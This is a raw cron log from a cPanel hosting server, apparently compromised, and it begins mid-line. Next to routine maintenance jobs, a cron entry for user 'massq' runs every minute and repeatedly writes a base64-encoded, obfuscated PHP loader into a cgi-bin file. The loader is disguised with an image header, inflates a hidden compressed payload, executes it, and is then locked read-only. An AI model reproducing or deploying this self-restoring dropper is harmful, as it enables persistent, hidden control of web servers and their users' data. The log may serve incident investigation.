KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:09:01 server CROND[23975]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 03:09:01 server CROND[23976]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:10:01 server CROND[24349]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 03:10:01 server CROND[24350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:10:01 server CROND[24351]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 03:10:01 server CROND[24354]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 03:10:01 server CROND[24357]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 03:10:01 server CROND[24353]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:10:01 server CROND[24355]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:10:01 server CROND[24352]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 03:11:01 server CROND[25216]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:11:01 server CROND[25218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:11:01 server CROND[25219]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:12:01 server CROND[25686]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 03:12:01 server CROND[25687]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:12:01 server CROND[25688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:12:01 server CROND[25689]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:13:01 server CROND[26057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:13:01 server CROND[26058]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:13:01 server CROND[26056]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:14:01 server CROND[26429]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:14:01 server CROND[26435]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:14:01 server CROND[26437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:15:01 server CROND[26812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:15:01 server CROND[26813]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 03:15:01 server CROND[26816]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 03:15:01 server CROND[26822]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 03:15:01 server CROND[26819]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 03:15:01 server CROND[26820]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:15:01 server CROND[26818]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:15:01 server CROND[26821]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 03:16:01 server anacron[19815]: Job `cron.daily' started
Sep  6 03:16:01 server run-parts(/etc/cron.daily)[27636]: starting imunify-antivirus.cron
Sep  6 03:16:01 server CROND[27663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:16:01 server CROND[27664]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:16:01 server CROND[27666]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:17:01 server CROND[28134]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:17:01 server CROND[28135]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:17:01 server CROND[28136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:18:01 server CROND[28583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:18:01 server CROND[28584]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:18:01 server CROND[28586]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:19:01 server CROND[28953]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:19:01 server CROND[28955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:19:01 server CROND[28954]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:20:01 server CROND[29330]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 03:20:01 server CROND[29332]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 03:20:01 server CROND[29334]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 03:20:01 server CROND[29336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:20:01 server CROND[29337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:20:01 server CROND[29341]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:20:01 server CROND[29340]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 03:20:01 server CROND[29339]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 03:20:01 server CROND[29343]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 03:21:01 server CROND[30173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
